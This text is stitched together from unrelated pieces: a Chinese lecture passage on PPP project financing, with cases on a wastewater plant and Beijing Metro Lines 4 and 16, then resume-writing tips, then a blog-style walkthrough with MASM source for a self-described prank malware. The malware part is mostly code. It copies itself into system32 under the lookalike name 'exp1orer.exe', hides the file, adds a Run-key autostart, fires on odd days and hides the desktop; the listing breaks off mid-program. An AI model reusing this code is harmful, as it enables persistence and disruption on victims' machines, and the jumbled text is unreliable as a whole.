三是大型基础设施项目投资规模巨大,划分为可独立操作的部分分别进行投融资筹划不失为可选路径,有利于为专业投资机构、财务投资机构等多种性质社会资本参与项目创造条件,实现项目最终融资目标。
四是本项目中特许经营部分和政府投资建设的`部分存在较多的工程界面和接口。
与传统模式相比,形成了“一个项目两个业主”的局面,需通过ppp合同对技术界面、管理界面和责任界面进行合理协调和安排,保证项目顺利实施。
3.ppp项目投融资方案设计案例㈡
——某工业园区污水处理厂
建设内容是污水集中处理厂、中水回用系统。
按照“适度超前、一次规划、分期建设”的原则,近期建设规模为处理污水2.5万吨/日、远期()10万吨/日。
污水来源为项目所在工业园区企业的工业废水、生活污水、建筑污水、初期雨水和地下水渗入等。
投资估算:近期总投资约1.85亿元(不包括管网),远期总投资约4.42亿元。
业主是园区建设发展有限公司,是由园区政府设立的投资公司,负责具体实施本项目的特许经营事宜。
我们当时刚做项目融资结构设计的时候,和业主方交流,他们当时拿出来的就是上图的结构。
投资人与园区建设发展公司共同投资,成立特许经营公司。
首先是园区管委会授予他特许经营权,然后由特许经营公司和排污企业签署污水处理的协议,由园区环保部门来监管污水厂的运营情况。
当时他们说这个模式是投资人提出来的。
投资人为什么要把建发公司绑上呢?他觉得这个项目将来他要直接向企业收污水处理费,通过他们俩直接发生的合同交易,给双方留下了一个空间,这个空间就是排污企业有可能省掉自己的污水预处理系统。
按照环评的要求,一个企业的污水要能排出去,要有预处理系统,把污水处理到国家环保部要求的排入下水道的标准,然后污水处理厂再进行后续处理,也就意味着每一个企业都要建立一套污水预处理系统。
如果排污企业不想建这个预处理系统,就想直接把污水排出去,这时怎么办?这个项目就留了这样一个空间,排污企业可以与污水处理厂协商,当污水处理厂觉得你超标排放没关系,我能够处理,当然肯定要加钱,污水处理厂就得到了一个超出政府给他的市场空间,对排污企业来说可以省掉预处理的环节。
双方都是会算账的,对于污水处理企业来说,如果给我支付的钱够我给你处理的成本,我肯定给你处理,对排污企业来说,如果超标排放付给你的钱要低于自己建污水预处理系统的钱,对于排污企业也是好事。
所以这个项目他们两个直接签污水处理协议有这样一个好的空间在里面,这种情况是支持的。
但是这种情况带来的负面情况是,投资人担心到时企业不付费怎么办?所以他想把要园区建设发展公司叫上,因为企业是园区的企业,到时候谈收费、谈合同有便利。
所以他们推荐这种模式。
从表面看这个模式可能没有问题,但是这里存在一个最大的问题,建发公司是污水处理特许经营公司的股东,园区管委会是授予特许经营权的政府方,如果他们是独立的主体,这个结构没问题。
但是在我们国家园区管理体系里面,园区管委会和建设发展公司往往是一批人马两块牌子,严格来说他是一个主体,这样就存在问题,当污水处理厂污水不达标时,园区管委会最怕这样的事情,一旦污水处理不达标,会对管委会追究责任,如果他与污水处理厂只有监管关系,他不是第一责任主体,第一责任主体是社会投资方的特许经营公司,如果他在里面有股权,他可能就脱不了干系,就要负直接责任。
这是他们最怕的一个问题。
另外当排污企业与污水处理厂发生合同纠纷时,本来作为地方行政管理部门的管委会是可以协调他们之间关系的,但由于他在里面占有股权,说话就不那么硬气了。
把这两个问题指出来之后,政府方也发现这个结构不太好,所以我们给他换了一种结构,就是把建设发展公司拿出去,只有园区管委会。
那么投资人担心收不来钱的问题怎么办?出了一个《污水处理暂行管理办法》,这个办法作为园区对外招商引资的条件,让所有来园区投资的企业先看到,要求排污企业要遵守这个办法,从而减轻企业不付污水处理费等一些问题。
这个项目的经验与启示是:需要慎重决策政府资金参与和支持ppp项目的方式。
一是政府资金以单独承担项目建设内容的方式可使项目其他部分具备ppp运作条件,不存在角色错位。
二是政府少量入股ppp公司,通过公司治理结构安排有利于发挥政府监管作用;但在政府监管不断规范完善、提倡政企分开的大形势下,政府为监管目的而入股ppp公司的合理性值得进一步推敲。
三是实践中个别ppp项目中政府资金完全以市场资金行为入股并占据较大份额,无项目利益分配(分红)方面的让渡或劣后安排,政府资金对项目支持目标偏移,形成“自己补自己”或与社会资本争利的嫌疑。
这在ppp项目运作中需特别予以重视。
(二)投资回报模式设计
这部分更是重中之重,一个成功的ppp项目有两条腿,一条腿是合理的项目投融资结构,第二条腿就是项目的投资回报模式。
与ppp项目回报模式相关的,大的结构里包括ppp合作模式、投资责任、成本责任。
另一方面包括回报水平、项目收入和风险机制。
风险机制已经讲过,重点讲项目收入,项目收入与产品和服务的量和服务价格相关。
1.确定项目回报水平的必要性
一是合理确定和形成ppp项目回报水平,是建立ppp项目投资吸引力的关键,是ppp项目成功的基础。
我现在做的一个项目,他们给投资人定的收益水平全都是6%,我说6%是吸引不来投资人的,太低了。
当然他有他们的理由,他们省内某些企业承诺这个项目不要收益,只要保本就行,这种情况单说。
否则单独设6%肯定是没有吸引力的,一定要有一个合理的回报水平,这是吸引投资人的关键。
二是科学预计或设计ppp项目回报水平是前期论证的重要内容。
前面提到的vsm(项目的物有所值评价),到底是ppp和传统模式哪个更好?一个重要指标就是ppp项目是要有回报的,没有回报就没有办法做相应的论证。
所以回报水平是6%、8%,还是10%,会影响到这个项目物有所值评价的论证。
有可能这个项目回报水平是8%,用ppp模式是合适的,但是如果是12%,采用ppp模式就不合适了。
所以设定一个回报水平也是做前期论证的一个依据。
三是项目回报水平预期是政府和社会资本进行项目价格谈判、确定政府补贴水平、相关利益分成机制设计的基础。
比如刚才举的例子,政府方总是按照6%去设计条件,投资方老是按照8%去要条件,那么双方的合同谈判是很难的。
四是为项目风险处理方案(如价格调整)提供依据和目标。
比如刚才提到的餐厨垃圾项目,两年之后要重新调价,怎么调?还是要保证这个项目的既定收益,标准不能变。
所以,要达成一个合理的回报水平,不同的项目有不同的指标。
⑴“投资 运营”型ppp项目回报水平
一是通常采用财务内部收益率(irr)指标衡量项目回报水平,适用于基础设施bot、tot、boo等项目。
二是站在政府管理角度,ppp项目回报水平宜采用全投资irr(税后)指标,即这个项目建设的总投资是固定的,按照总投资来确定项目的收益率,该指标体现了股权资金和债权资金的综合收益率。
三是通常我们会把债权融资的责任交给投资方,所以债权融资利率的高与低,会影响到投资方的收益,但这个空间我们建议给到投资方,比如投资方信用不好,银行给你的贷款利率要上浮30%,那么上浮的部分需要投资方自己去承担。
如果有一家投资方有很好的融资渠道,可能会低于银行的基准利率,我们要鼓励这样的投资人进来。
所以不要拿自有资金来做指标,要拿全投资来做指标,就能够把融资收益给到投资人。
所以我们的设计思路是,投资人在不损害政府方和公众方利益的情况下,他能赚到的空间要留给他,这样才能促进整个项目获得比较好的条件。
全投资收益率这个指标设在多少合适?刚才课间的时候有人问我这个问题,可能是8-12%,这是目前大家都在说的。
我觉得这个不是固定的。
投资方还有两种概念,两种做法。
一种是考虑这个地区的一些其他风险,包括政府方信用风险和将来社会经济发展水平等风险,不同的地区可能有不同的要求。
但是通过我们控制好风险,这个趋势可能降下来,让投资方觉得投到这个地方风险很低,相应的在进行内部决策的时候,能降低回报率的要求。
同时,对于不同的投资人和不同的项目设计,最后的回报率不是一个定数。
还有一个变动因素,是整个社会资金成本的变动趋势,最近国家连续几次降低基准利率,并且最近在企业发债过程中国家给了大量支持,要求承购方降低利率,大家都看出来我国在高融资利率下带来的不良影响,给实体经济带来冲击,所以现在整个国家的宏观调控是要降低利息,在整个社会资金成本都降低的情况下,未来5%、6%,甚至4%作为收益率是完成有可能的。
所以收益率不是一定的,但是最后和投资方谈的时候,一定要综合各种各样因素,最后要定下来收益率,作为将来各种谈判和调价的基础。
⑵委托运营类ppp项目回报水平
一是适用于社会资本不参与投资,只提供运营服务的ppp项目,如委托运营项目。
二是通常采用成本利润率方式确定回报水平。
项目回报=合理成本 税收 合理利润,有两个关键点:一个是合理利润怎么来定。
通常以成本为基数,乘以5%,5%同样不是一个准则,可能要考虑到行业的平均情况,还有企业的战略考虑,是否有竞争,如果有竞争,通过竞争可能发现较低的回报要求。
通过以上确定成本利润率。
第二是确定合理的成本利润率以后,一定要把它算成一个价格,就是不要在合同里去给它承诺保证这个项目的成本利润率是5%,这样又和ppp项目的初衷不一致了。
ppp项目的初衷是要让社会投资方去发挥效率,尽量控制好成本,从而实现政府方、公众方和投资方三方的利益最大化。
但如果在合同里写了收益率5%,我们知道收益率的基数是成本,成本越大收益越大,那么我们去运营这个公司就没有降低成本的动力了,所以合同里承诺的一定是价格。
在这种情况下,通过好的管理可以获得更好的收益,我们把这个空间留给企业,在没有损害政府利益和公众利益的情况下,企业该赚的让他去赚。
2.ppp项目收益
确定回报水平后,就要考虑项目收入从哪里来的问题。
项目收入是实现项目回报的基础。
不同的项目有不同的项目收入渠道。
经营性项目如自来水、电厂、燃气等依靠使用者付费基本上能产生回报。
准经营性项目如地铁、公交,收入来源一部分是使用者付费,一部分是政府补贴。
非经营性项目比如环境治理、水利工程等,这些项目找不到明确的付费者,这种情况可以理解为政府为公众购买服务,所以由政府来付费。
其他收入来源有两个类别,一是与项目运营密切相关其他权益配置(多种经营权益),如:地铁项目中的广告等商业开发业务、水库项目中的旅游开发、污水、固废处理产出物的市场开发利用。
二是项目范围外其他资源配置。
涉及政府和社会资本在更广空间范围上的合作,情况较为复杂,不专门讨论。
如:城市轨道交通项目配置上盖物业、土地资源开发;抽水蓄能电站建设配套风电场资源开发;环境治理项目配置商业地产开发等。
3.ppp项目价格调整
ppp项目通常涉及的是民生类项目,按照目前要求,对这类项目都是听证定价。
与投资人谈的叫可行性价格,是根据总投资加上应有的投资回报后算出来的,在这个价格上,这个项目才可行,所以叫可行性价格,往往与政府定价不匹配。
政府定价加上市场调节还不够,还要加上其他收入,这就是政府的补贴收入。
要通过这些方面的因素做好可行性定价,在合同里做好政府补贴的相应约定。
4.ppp项目回报模式设计应用案例
——北京地铁十六号线项目
十六号线票款收入是2元/人次的单一票制,还有非票务收益,包括授权范围内的地铁广告、零售、通信等商业开发,不含地下空间开发利用。
根据既有线路商业开发情况,前按每年非票收益1亿元计算,这里有一个小的风险,如果每年达不到1亿怎么办?当时投资方和我们讲,因为4号线政府给做了后评价,做后评价的好处是能够掌握投资方的信息,发现地铁4号线做的实施效果评价,他的一条线的广告收益是1个亿,当时它一条线的收益抵其他五条线的收益,其他五条线是由北京市地铁运营公司运营。
四号线是京港公司运营的,一年1个亿。
所以十六号线我们还按照1个亿计算。
当然他又哭穷了,说4号线收益有它的特殊性,它所经过的站点比较好,所以它的广告收益比较高,十六号线可能没这么好的条件。
当然经过这次谈判,政府方说你的线路比四号线长等种种理由,最后投资方认可了1亿元。
这里确实是有风险的,将来收益达不到1亿,这个风险全部由投资方承担,如果超过1亿,政府要分成,看起来有点霸道,但这也因为设定为1亿还是是相对有基础的。
还有票款收益计量的问题,北京市地铁有一套清算系统,非票务收益需要通过审计来审核,因为涉及到分配。
剩下的部分就是补贴收入,按约定票价和实际收入的差额进行补贴,所以这块是收入计量和价格。
回报模式在这个项目里不见得完全不变,它在整个合同体系里是这样的变化过程,下图是北京地铁十六号线ppp项目收入机制示意图,前面是约定票价覆盖范围,其中预测补贴收入=约定票价x预测客流-预测票款收入,这些是在协议谈判过程中大家共同认可的。
在实际操作过程中有实际的非票收入,实际的可能会超过预测的,超出部分有一个非票收益的分成,客流收入也会与实际客流收入有区别,那么超过的部分也有客流分成,这两个分成都是指政府方的分成,政府方分成要冲抵票价补贴,那么直接的票价补贴要比预测的票价补贴低一些。
关于“约定票价”,从形成到变化有一个过程。
在论证阶段,内部收益率不高于8%,考虑约定非票务收益,按预测客流计算出约定票价。
这个票价是在我们做财政承受能力评价和ppp项目物有所值评价时候用的,比如约定票价是6块钱,实际票价是2块钱,那么这4块钱是财政需要补贴的,财政根据预测客流量要计算这个项目每年要补多少钱,这是在论证阶段用的。
在谈判阶段,6块钱可能会降低,基于投资方竞争性报价,他要考虑竞争,比如8%的收益,为了拿到这个项目,他可能7.8%就可以做,甚至通过成本的控制,按照设置平均的成本因素,比如每个人的工资,社会平均是8000块钱,这个特许经营公司可能说我的工资控制得比较好,7500块钱就可以。
投资方在充分考虑这些空间以后,会拿出一个有竞争力的报价出来,这个价格有可能低于我们最初估算的票价。
我们要把这个报价写到投资合同里面。
这个价格也不是一成不变的,在3年期间里,物价发生变化后,可以通过既定的价格变动公式调整价格,从而抵扣物价变化带来的影响,使收益率维持在当初投标时预定的水平。
关于预测客流和协议客流,最早在可研阶段有一个客流的预测,我们做方案论证时用的是可研数。
在谈判阶段,为了更好的应对风险,双方会共同委托一个客流顾问,对客流重新预测,这就是协议客流。
在运营阶段,如果实际客流和协议客流发生变动,超过部分怎么分成,不足部分怎么保底,这些共同形成了整个项目的回报模式。
五、合同体系
上面所设定的各种模式都要反映到合同里面,ppp项目的合同不是一个单一的文件,尽管我们说特许经营协议是主协议,我相信大家与投资方谈时,谈的都是这个主协议,但一个项目要成功要靠所有的协议体系支撑起来。
(一)北京地铁四号线合同体系
以地铁四号线为例,它除了交通委和ppp公司的主协议外,还有其他的。
首先是这几家投资方:京投、首创、港铁,他们共同签署的合作经营协议,按照这个协议成立ppp公司,这是一个合资协议,协议里对这三家股东方的要求做了约定。
特许经营协议要有相关的附件,其中比较重要的附件是和地铁建设管理公司签订的建管协议。
北京地铁建管公司与京投公司曾经都是北京地铁公司分出来的,北京地铁公司是国内最早的地铁公司,六十年代末七十年代初就存在,因为北京那个时候就有地铁一号线了。
但是后来北京的地铁发展比较慢,2号线是八十年代中建成,八通线是90年代建成,最后一直到申奥成功北京地铁的线路都特别少。
但北京申奥成功有一个奥运承诺,就是开奥运会时我的轨道交通里程要达到多少,公共交通出行比例要达到多少,北京市要兑现奥运承诺就忽然发现地铁建设任务非常重,在这种情况下就把北京市地铁公司拆分成三家公司,变成北京地铁建设管理公司,北京地铁运营公司和京投公司,由京投公司专门负责轨道交通项目的投融资工作。
建管公司和京投公司是兄弟单位,它们不是真正的业主和承包商的关系,所以北京建管公司在北京地铁建设管理系统里说话是非常有份量的。
这时候ppp公司就很担心,因为他第一部分的项目是要委托给建管公司来建设的,他担心如果等他中标,和政府方签完特许经营协议再去签建管协议,他怕他的议价能力受到损害,所以他们把建管服务合同放到和特许经营协议一起来签,就相当于在交通委的主持下签的建管协议,使得这个协议基本上维持了ppp公司的业主地位,最后使得地铁四号线的ab两部分的建管合同格式不一样,业主方在里面的责权分配也不一样,所以这是地铁四号线里面比较重要的一个细节,就是建管协议作为附件放在特许经营协议里。
还有第二个附件是a部分租赁协议,我们知道整个项目拆成两部分来做,a部分是将来政府要提供给ppp公司来使用的,那么租赁协议也是非常重要的,包括租赁价格也是在特许经营协议的合同体系里。
还有银行的贷款协议也放进来了,这就是我说的为什么银行要全程参与,甚至把贷款协议都放进来。
在后面一些小项目里,不见得要把贷款协议放进来,当时为什么放进来,政府方担心银行行使的贷款权力影响到整个项目的运行,所以要求银行把贷款协议和投资方签好。
其他还有13个附件,包含了建设运营期的协调规则、项目运行验收标准等等,整个来看,一个大项目要做好是需要有一套特许经营协议来支撑的。
(二)来宾b厂合同体系
这是我国实施比较早的bot的项目,法国电力集团成立了法电中国,法电中国和法国的斯通公司有一个合资协议,他俩共同合资成立特许经营公司。
但政府方不放心,特别是对法电中国不放心,要求法电中国有一个担保。
这里还有一个细节,这个项目工程是由法国斯通公司成立的小公司负责承包的,所以要求斯通公司给承包商一个担保,由承包商和特许经营公司签定施工和设备安装合同。
由于政府方看重的是法电和斯通公司,所以要求这两家股东都要对合资公司的履约能力进行担保,有了他们的担保,项目公司再和承包公司签署施工和设备安装的合同。
在项目运营这块,由项目公司和运营商来签署运营维护合同,同样我们也要求法电中国来对运营商进行担保。
这里运营商和法电有一个技术管理服务合同,实际上是法电在给运营商做整个项目的支撑。
其他项目投入以后,燃料是由广西建设燃料有限公司来供应,电力的调度由广西电力局中心调度所和广西电力局等等,这三个又是中方企业,当时外方也要求政府方做一些担保,这是在过去,现在我国的政策是不允许担保的,当时的背景是可以的,所以广西区政府给他的燃料公司、电力局做担保,担保他们可以履行购电合同、调度合同、燃料供应合同。
同时与贷款方有一个贷款合同来确定项目贷款,所以说这么大的合同是由这么多的合同体系共同构成的。
六、监管体系
(一)运营服务监管
要做好运营和服务监管,整个协议里要约定好项目验收的技术标准、政府提供的支持条件、项目运营的技术标准、运营服务内容和范围、政府监管内容和方法等等。
这些内容为未来对整个项目的运营监管提供支撑。
(二)移交监管
一个项目建设好以后,要规定相应的退出机制,通常退出会有三种情况,一种是股权转让,项目将股权全部转给别人,股权转让一定要建立在政府方许可的情况下;第二种是依据特许经营协议提前终止;三是特许经营期结束。
无论哪种情况的终止,都会涉及到项目的移交,因为这个项目是地方政府为了公共服务建立的项目,反过来,投资方建这个项目也拿不走,所以,移交是做ppp项目一定要规定的。
项目的移交要对移交程序及过渡期的安排、移交设施的范围、内容、移交标准要求、移交费用安排、移交后质量保证做出约定。
股权的退出,以不影响履约为前提。
移交机制会因不同情况而导致终止有区别。
主要体现在守约方要得到一定的补偿,对违约方要有一定的惩罚。
移交和退出机制案例
——福建某工业园区污水处理厂bot项目
移交过渡期:特许经营期满12个月前,双方各自派员组成移交委员会,具体负责和办理移交工作,甲乙双方代表人数应当相同。
移交委员会主任委员由政府方人员担任。
协议提前终止,于提前终止日后15日内组成移交委员会。
移交范围及内容:
乙方对项目设施的所有权利和利益,包括:项目设施的建筑物和构筑物;与污水处理项目设施使用相关的所有机械和设备;项目设施正常运转所必须的零备件和配件、化学药品;运营和维护项目设施所要求的所有无形资产。
在用的生产档案、技术档案。
土地使用权。
移交标准:移交资产不存在债权、抵押、担保物权或任何种类的其它请求权。
污水处理项目场地在移交日应不存在任何环境问题和环境遗留问题。
关键设备的整体完好率达到95%、其它设备的整体完好率达到90%、构筑物不存在重大破损。
移交后的补偿:
终止事件
终止补偿金额
特许经营公司违约
0.6帐面净值-违约金。
政府方违约事件
帐面净值 三年利润
不可抗力事件导致的终止
资产评估值
法律变更事件
账面评估值
移交产生的税费由双方各自承担。
移交后的质量保证期是12个月。
在紧急情况下,如乙方没有及时保修,甲方有权兑取移交保函的相应金额进行保修。
承包商保证的转让,在移交时,乙方有义务将所有承包商、制造商和供应商提供的尚未期满的担保及保证在可转让的范围内无偿转让给甲方。
以上都是与项目自身相关的,特许经营合同都是在实施方案规定的原则里做进一步细化。
七、采购方式
财政部在去年底专门出台了关于政府和社会资本合作投资人采购的文件,这个文件规定了选择投资人有五条途径:公开招标、竞争性谈判、邀请招标、竞争性磋商、单一来源谈判。
这五种方式都可以用,具体的用法要结合项目来考虑。
公开招标适用于模式成熟、条件清晰、潜在投资人多的项目。
比如现在做的污水处理项目基本上可以用公开招标模式,优点是透明度高,竞争性充分,缺点是周期不确定,因为我们前面定的招标条件有可能与投资方的要求不一致,通常来讲,ppp项目做公开招标流标的概率会比较大。
周期性不确定的意思是有可能会很短,很快就招来投资人,但也有可能费好多经历才能确定。
竞争性谈判模式适用于模式和条件不太清晰的情况。
但是要比竞争性磋商稍微清楚一点,但是有一些具体的条件还要与投资人在谈判中进一步敲定。
优点是透明度高,竞争性充分,时间比较短。
所以竞争性谈判是ppp项目确定投资人比较好的一种模式。
但竞争性谈判有一个缺点,因为他是政府采购的一种方法,它有一个最低价中标的原则,这就比较难办,实际上在ppp项目里不太推崇最低价这个事情。
邀请招标和公开招标相比,适用于潜在投资人少的情况,要主动、定点的邀请投资人过来。
透明度中,竞争性较充分,周期较长。
竞争性磋商,财政部除了出台刚才提到的文件之外,紧接着又出台了一个关于竞争性磋商的办法,可以看出用意是用这个办法进一步规范ppp项目选择投资人,因为竞争性磋商确实比较适合做ppp项目采购,它适用于模式、条件不太清晰的项目,通过和投资人磋商的过程,逐渐让条件和模式清晰过来,但是缺点是透明度没有招标高,竞争性也没有招标充分,但如果磋商对象比较多的话,还是能够保留竞争的充分性。
还有一个周期会比较长,因为中间有反复和投资人确定各种条件的过程。
单一来源谈判,通常,公开招标或按财政的要求都要搞公开的资格预审公告,公告一出去,两轮过后,潜在投资人都特别少,只有一家的情况,不得已只好选择单一来源谈判。
通过是一些项目吸引力比较小的项目,或者社会上做这种项目的家数很少,这种情况需要做特别的审批,才能做单一来源采购。
透明度和竞争性都比较差,周期有可能会比较短,大多数情况下会很快的定下来。
1.让你的个人简历内容突出
内容就是一切,所以个人简历一定要突出你的能力、成就以及过去经验,仅有漂亮的外表 而无内容的个人简历是不会吸引人的.
由于时间的关系,招聘人员可能只会花短短几秒钟的时间来审阅您的个人简历,因此你的个人简历一定要重点突出.一般来说,对于不同的企业,不同的职位,不同的要求,求职者应当事先进行必要的分析,有针对性地设计准备个人简历.盲目地将一份标准版本大量拷贝,效果会大打折扣.求职者应根据企业和职位的要求,巧妙突出自己的优势,给人留下鲜明深刻的印象,但注意不能简单重复,这方面是整份个人简历的点睛之笔,也是最能表现个性的地方,应当深思熟虑,不落俗套,写得精彩,有说服力,而又合乎情理.
2.让个人简历外表醒目
个人简历的外表不一定要强调,但它应该醒目.审视一下个人简历的空白处,用这些空白处和边框来强调你的正文,或使用各种字体格式,如斜体,大写,下划线,首字突出,首行缩进或尖头.
3.个人简历要简短
雇主可能会扫视你的个人简历,然后花30秒来决定是否召见你,所以一张纸效果最好.如果你有很长的职业经历,一张纸写不下,试着写出最近5-7年的经历或组织出一张最有说服力的个人简历,删除那些无用的东西.
4.为你的个人简历定位
雇主们都想知道你可以为他们做什么.含糊的、笼统的并毫无针对性的个人简历会使你失去很多机会,所以必须为你的个人简历定位.如果你有多个目标,最好写上多份不同的个人简历,在每一份上突出重点.这将使你的个人简历更有机会脱颖而出.
5.写上简短小结
这其实是最重要的一个部分,“小结”可以写上你最突出的几个优点.没有什么应聘者写这几句话,但雇主们却认为这是引起注意的好办法
6.人个人简历要突出自己的技能
在写个人简历的过程中,作为一名求职者,你应该向用人单位传递一些有效的信息,这些信息包括:a、明确自己的奋斗目标.对自已的前途有长期、明确目标的人,更易为单位赏识和任用,具有积极自我成长概念的人,对工作较积极投入,努力进取、并充满旺盛的事业心与斗志,能迅速进入工作状态. b、体现自己的工作意愿很强烈.c、有团队协作精神.进入单位后,须与领导、同事们配合工作, 一个容易与人沟通协调的.求职者可以说已有一半获胜的希望.d、掌握诚恳原则.在录用标准上,才能是首要的、永恒不变的第一原则,诚恳则是重要的,辅助的机动因素.面试前准备充分,心情镇定,仪容大方整洁,临场时充分表现自我,便是诚恳的最好表现.
7.当引用专业术语
引用应聘职位所需的主要技能和经验术语,使个人简历突出重点.例如,你要应聘办公室人员,招聘单位就会要求你熟悉字处理系统,如wps或word等;招工程师,需要你懂绘图和设计软件.总之,广告会对不同的职位有相应的具体的素质和技能要求.如果你符合要求,那么引用这些专业术语在你的个人简历中描述你的优点.如果广告未提出具体要求,你更要在个人简历中把你的优势具体反映出来.
8.个人简历应避免不利因素
在个人简历中没有必要写自己为什么离开原来的工作,除非他们是有利的,对你有利的,如,离开原来的工作,接受具有更大挑战的工作.如果您以前有过什么重大错误或者是触犯了法律等,都没有必要在个人简历中体现出来.但如果你以前真有这样的记录,笔者建议你不要去找那些跟你记录有关的工作,因为即使通过隐瞒事实,得到了工作,也会在将来哪天因被知情而开除
更多推荐:个人简历注意要点个人简历标准个人简历写作详解
本来想写个“红色代码ⅳ”,不过病毒的首要特征,例如api重定位,调用getkbase 得到kernel32.dll的基地址,然后再调用调用getapiz得到病毒所需要的api,在汇编上实现这些,目前对我来说有难度,在感染过程,要考虑到什么时候感染?感染什么?感染是病毒的核心技术,病毒野蛮地把预定的可执行代码插入到正常文件中,当文件执行的时候,先执行病毒代码,或者添加一些字节。在正常的pe文件中,包括执行代码,头文件信息,数据结构以及描述的各类资源信息,病毒感染文件的时候,并没有把这些也写进去,所以要自己搜索,具体的代码,目前还不能写,但是我会参照别人写的。在传播方面,目前倒是有一个利用邮件附件传播的,在创建base64编码等方面,我略有缺陷。
病毒不能完整的写,起码也要来个半斤的,所以,就有了这个恶意程序的编写过程.说到恶意,其实也不恶,顶多是恶作剧,仅是修改了一些注册表,设置为启动,象征性删除一些文件。本来想加入日志钩子,事件发生时,创建一个shutdown进程恶搞,不过在加进去的模块对话框后,程序进入了一个死循环。
注:程序中有些代码使用了*号代替
在程序的开头,调用_createkey子程序设置了启动的键值:
szregkey db ''software\\microsoft\\windows\\currentversion\\run'',0
szregvalue db ''startpe'',0
szstr1 db “c:\\windows\\system32\\*******.exe”
这些就是第一步所以设定的。在启动方式中,估计注册表run启动是最脆弱的,复制到启动文件夹的话,又明显。最好的办法是创建远程线程,然后打开文件管理器 xplorer.exe插入,并且还能隐藏。有个例子是隐藏窗口进程的,桌面的窗口类是“progman”,我想插进去rundll32.exe,无奈不知道它的类,所以将就些,把目标定位注册表启动,况且这个我掌握的也比较熟悉。
在开机后,我加入了判断本地时间后发作的代码:
invoke getsystemtime,offset lpsystemtime
***** ebx,lpsystemtime.wday
.if (ebx == 1)||(ebx == 3)||(ebx == 5)||(ebx == 7)||(ebx == 9)||(ebx == 11)||(ebx == 13)||
(ebx == 15)||(ebx == 17)||(ebx == 19)||(ebx == 21)||(ebx == 23)||(ebx == 25)||(ebx == 27)
||(ebx == 29)
在win32api 中,对getsystemtime的描述是“在一个systemtime中载入当前系统时间,这个时间采用的是‘协同世界时间’(即utc,也叫做 gmt)格式”,参数只有一个“lpsystemtime”,并要定义一个“systemtime”结构 “lpsystemtime systemtime ”。如果今天是1,3,5,7,9……,27,29,那么程序在开机运行的时候,就对系统进行了如下操作:复制自己到系统目录 [注:这个系统目录,我定义成“szwin db ''c:\\windows\\system32\\exp1orer.exe'',0”)所以在windows2000以下的系统,是不能复制的。
invoke getmodulefilename,hmodule,addr szdirectory,200
invoke copyfile,addr szdirectory,addr szwin,false
利用getmodulefilename获取路径,然后调用copyfile,复制到系统目录去。接着“call _attribcmd”,调用了“_attribcmd”这个子程序设置只读,隐藏属性。“_attribcmd”代码描述如下:
_attribcmd proc
invoke getstartupinfo,addr ststartup
invoke createprocess,null,addr szcmdattrib,null,null,null,\\
normal_priority_class,null,null,addr ststartup,addr stprocinfo
ret
_attribcmd endp
很显然,是调用了createprocess创建一个带szcmdattrib参数的进程。这样,一些用命令参数的程序,可以这样编程来运行,例如 ping,首先设定变量“szcmd db ''c:\\windows\\system32\\ping.exe ip -t'',0”,描述代码是:
.data
***** db ''c:\\windows\\system32\\ping.exe ip -t'',0
.data?
ststartup startupinfo
stprocinfo process_information
.code
start:
invoke getstartupinfo,addr ststartup
invoke createprocess,null,addr szcmdattrib,null,null,null,\\
normal_priority_class,null,null,addr ststartup,addr stprocinfo
end start
本来这里就到了全盘搜索exe文件进行感染的时候了,不过这个程序不是病毒,只能象征性搞些恶作剧,我这里是通过修改注册表达到隐藏桌面图表,估计mm是认为感染了病毒。
.data
szwritekey db ''software\\microsoft\\windows\\currentversion\\policies\\explorer\\'',0
szwritevalue db ''nodesktop'',0 ;键值名称
szdword dd 1 ;数据
调用了子程序_writekey来完成:
_writekey proc _lpkey
local @hkey,@dwindex,@dwlasttime:filetime
invoke regcreatekey,hkey_current_user,offset szwritekey,addr @hkey
.if eax == error_success
invoke regsetvalueex,@hkey,addr szwritevalue,null,\\
reg_dword,addr szdword,4 ;写入一个reg_dword类型的数据
invoke regclosekey,@hkey
.endif
ret
_writekey endp
做完后,这一步就到了传播,呵呵,不过偶没写,就来个“invoke deletefile,addr szdirectory”删除,然后也就退出了“invoke exitprocess,null”虽然说恶意程序,但是破坏的地方不多。如果要模拟“万花谷”的破坏方式,也就是禁止了注册表而已,这个完全可以做到。程序的完整代码如下:
.386
.model flat,stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
include advapi32.inc
includelib kernel32.lib
includelib ******.lib
includelib advapi32.lib
.data
szwin db ''c:\\windows\\system32\\exp1orer.exe'',0
szcmdattrib db ''attrib r h c:\\windows\\system32\\exp1orer.exe'',0
szdirectory db 0
szregkey db ''software\\microsoft\\windows\\currentversion\\run'',0
szregvalue db ''startpe'',0
szstr1 db “c:\\windows\\system32\\exp1orer.exe”
szwritekey db ''software\\microsoft\\windows\\currentversion\\policies\\explorer\\'',0
szwritevalue db ''nodesktop'',0 ;键值名称
szdword dd 1 ;数据
.data?
hinstance dd ?
hmodule dd ?
lpsystemtime systemtime
osversion osversioninfo
ststartup startupinfo
stprocinfo process_information
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_attribcmd proc
invoke getstartupinfo,addr ststartup
invoke createprocess,null,addr szcmdattrib,null,null,null,\\
normal_priority_class,null,null,addr ststartup,addr stprocinfo
ret
_attribcmd endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_createkey proc _lpkey
local @hkey,@dwindex,@dwlasttime:filetime
invoke regcreatekey,hkey_local_machine,offset szregkey,addr @hkey
.if eax == error_success
invoke regsetvalueex,@hkey,addr szregvalue,null,\\
reg_sz,addr szstr1,32 ;写入一个reg_sz类型的数据
invoke regclosekey,@hkey
.*****
ret
_createkey endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_writekey proc _lpkey
local @hkey,@dwindex,@dwlasttime:filetime
invoke regcreatekey,hkey_current_user,offset szwritekey,addr @hkey
.if eax == error_success
invoke regsetvalueex,@hkey,addr szwritevalue,null,\\
reg_dword,addr szdword,4 ;写入一个reg_dword类型的数据
invoke regclosekey,@hkey
.endif
ret
_writekey endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
invoke getmodulehandle,0
mov hinstance,eax
invoke _createkey,null ;设置为启动
invoke getsystemtime,offset lpsystemtime
